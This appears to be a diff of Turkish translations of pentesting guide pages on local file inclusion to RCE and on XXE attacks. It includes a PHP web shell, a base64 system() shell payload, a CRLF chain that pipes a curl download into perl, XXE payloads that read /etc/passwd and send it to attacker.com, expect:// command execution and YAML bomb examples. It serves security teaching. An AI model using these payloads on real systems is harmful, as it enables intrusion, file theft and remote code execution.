Eğer bir dosya yükleyebiliyorsanız, sadece shell yükünü içine enjekte edin (örneğin: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Görsel/doküman/pdf'lerin meta verilerine enjekte etmek, dosyanın okunabilirliğini korumak için en iyisidir.
|
||||
Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'nin meta verilerine enjekte etmek en iyisidir.
|
||||
|
||||
### Zip dosyası yükleyerek
|
||||
|
||||
@ -528,7 +528,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP oturumları
|
||||
|
||||
Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin
|
||||
Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin.
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
@ -559,7 +559,7 @@ FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Bir Ye
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
[Bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük:
|
||||
[bu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -609,11 +609,11 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
[**bu yazıda açıklandığı gibi**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa, URL üzerinden script'e argüman geçmenin mümkün olduğu belirtilmiştir.
|
||||
|
||||
Aşağıdaki istek, `/tmp/hello.php` dizininde `<?=phpinfo()?>` içeriği ile bir dosya oluşturur:
|
||||
Aşağıdaki istek, `/tmp/hello.php` dosyasında `<?=phpinfo()?>` içeriği ile bir dosya oluşturur:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder ( [**buradan**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder (buradan [**buraya**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -622,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### phpinfo() Üzerinden (file_uploads = on)
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads = on** olan bir **phpinfo()** dosyası bulduysanız, RCE elde edebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **file_uploads = on** olan bir dosya **phpinfo()** sunuyorsa, RCE elde edebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -630,7 +630,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Yol Açıklaması Üzerinden
|
||||
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile **o kontrolü atlamayı** deneyebilirsiniz:
|
||||
Eğer bir **Local File Inclusion** bulduysanız ve **geçici dosyanın yolunu dışarıya aktarabiliyorsanız** AMA **sunucu** **dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Race Condition** ile o kontrolü **bypass etmeyi** deneyebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -648,7 +648,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
|
||||
|
||||
**Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\
|
||||
**Bunun ne kadar faydalı olduğunu bilmiyorum ama olabilir.**\
|
||||
_Hatta bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -657,7 +657,7 @@ _Hatta bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyalar
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – Destek Biletinden Zero Day'e (FreeFlow Core yol geçişi → keyfi yazma → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Horizon3.ai – Destek Biletinden Sıfır Gün'e (FreeFlow Core yol geçişi → keyfi yazma → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Güvenlik Bülteni 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#file}}
|
||||
|
@ -4,23 +4,23 @@
|
||||
|
||||
## XML Temelleri
|
||||
|
||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
|
||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolü nedeniyle hala önemlidir.
|
||||
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişki yaşamamak için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` gibi özel karakterlerin temsilini sağlar; bu karakterler XML'in etiket sistemi ile çakışmayı önlemek için `<` ve `>` ile karşılık gelir.
|
||||
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanabilir.
|
||||
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
|
||||
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemler ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğunda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dış bant tespit tekniklerine olanak tanır.
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Ana saldırılar
|
||||
|
||||
[**Bu saldırıların çoğu harika Portswiggers XEE laboratuvarları kullanılarak test edildi: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**Bu saldırıların çoğu, harika Portswiggers XEE laboratuvarları kullanılarak test edilmiştir: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Yeni Varlık testi
|
||||
|
||||
Bu saldırıda basit bir yeni VARYETİK tanımının çalışıp çalışmadığını test edeceğim.
|
||||
Bu saldırıda, basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
@ -33,7 +33,7 @@ Bu saldırıda basit bir yeni VARYETİK tanımının çalışıp çalışmadığ
|
||||
|
||||
### Dosya oku
|
||||
|
||||
Farklı yollarla `/etc/passwd` okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
|
||||
Farklı yollarla `/etc/passwd` dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
Bu ilk durumda, SYSTEM "_**file:///**etc/passwd_" ifadesinin de çalışacağını unutmayın.
|
||||
```xml
|
||||
@ -49,7 +49,7 @@ Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için fayda
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Bu üçüncü durumda `Element stockCheck`'i ANY olarak tanımladığımıza dikkat edin.
|
||||
Bu üçüncü durumda `Element stockCheck` ifadesini ANY olarak tanımladığımıza dikkat edin.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -91,7 +91,7 @@ Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucu
|
||||
```
|
||||
### "Kör" SSRF - Veriyi dışarıya sızdırma
|
||||
|
||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için, bunu dışarıya sızdırmayı \_ftp://**\_ kullanarak deneyebilirsiniz, örneğin bu temel sunucu ile [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswigger laboratuvarı burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla dışarıya sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswigger laboratuvarı burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||
|
||||
Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir:
|
||||
|
||||
@ -108,7 +108,7 @@ Bu DTD tarafından yürütülen adımlar şunlardır:
|
||||
|
||||
1. **Parametre Varlıklarının Tanımı:**
|
||||
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
|
||||
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i ilan eder. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
||||
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
||||
2. **Varlıkların Yürütülmesi:**
|
||||
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik tanımının yürütülmesine yol açar.
|
||||
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
|
||||
@ -127,11 +127,11 @@ Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde enteg
|
||||
|
||||
**Bu durumda, sunucunun bir hata mesajı içinde bir dosyanın içeriğini gösterecek kötü niyetli bir DTD yüklemesini sağlayacağız (bu, hata mesajlarını görebiliyorsanız geçerlidir).** [**Buradan örnek.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
||||
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
||||
|
||||
1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir.
|
||||
2. `eval` adında bir XML parametre varlığı tanımlanır; bu, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
|
||||
3. `eval` varlığı çağrılır ve `error` varlığının dinamik tanımına yol açar.
|
||||
2. `eval` adında bir XML parametre varlığı tanımlanır ve bu, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
|
||||
3. `eval` varlığı çağrılır, bu da `error` varlığının dinamik tanımını oluşturur.
|
||||
4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir.
|
||||
|
||||
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
|
||||
@ -148,9 +148,9 @@ _**Dış DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiği
|
||||
|
||||
### **Hata Tabanlı (sistem DTD)**
|
||||
|
||||
Peki, **dış bağlantılar engellendiğinde** kör XXE zafiyetleri hakkında ne söyleyebiliriz?
|
||||
Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz (dış bağlantılar mevcut değil)?
|
||||
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dış bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dışa dönük bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
|
||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||
```xml
|
||||
@ -167,11 +167,11 @@ Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity`
|
||||
```
|
||||
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||
|
||||
- `local_dtd` adında bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içermektedir.
|
||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır.
|
||||
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismar için hedeflenen hata mesajının iletilmesine neden olur.
|
||||
- `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
|
||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, bir ayrıştırma hatası oluşturmak için tasarlanmıştır ve `/etc/passwd` dosyasının içeriğini açığa çıkarır.
|
||||
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismara yönelik hata mesajının iletilmesine neden olur.
|
||||
|
||||
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adında bir varlık içeren bir DTD'ye sahiptir.
|
||||
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,14 +188,14 @@ Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurarak** ve **bazı varsayılan DTD'leri arayarak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurarak** ve bazı varsayılan DTD'leri **arama yaparak** veya sistemler içindeki **varsayılan DTD'lerin bir listesini alarak** ve bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresine bakın.
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) adresini kontrol edin.
|
||||
|
||||
### Sistemde DTD'leri Bulma
|
||||
|
||||
@ -221,21 +221,21 @@ Testing 0 entities : []
|
||||
|
||||
Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**.
|
||||
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir.
|
||||
|
||||
Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
|
||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||
|
||||
Değiştirilen XML satırları, iki kök XML nesnesinin arasına yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
|
||||
Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
|
||||
|
||||
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
|
||||
|
||||
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesini umabilirsiniz.
|
||||
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir.
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzak dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzaktan dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -243,7 +243,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
> [!CAUTION]
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir:
|
||||
|
||||
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
|
||||
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır.
|
||||
@ -251,12 +251,12 @@ PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci b
|
||||
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
|
||||
5. İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir.
|
||||
|
||||
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuza kadar açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
|
||||
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> [!DİKKAT]
|
||||
> Geçici bir dizine dosya yazmak, **bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi).
|
||||
|
||||
### XSS
|
||||
@ -288,7 +288,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
#### İkincil Patlama Saldırısı
|
||||
#### Kuadratik Patlama Saldırısı
|
||||
|
||||
.png>)
|
||||
|
||||
@ -334,7 +334,7 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulaması ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
|
||||
|
||||
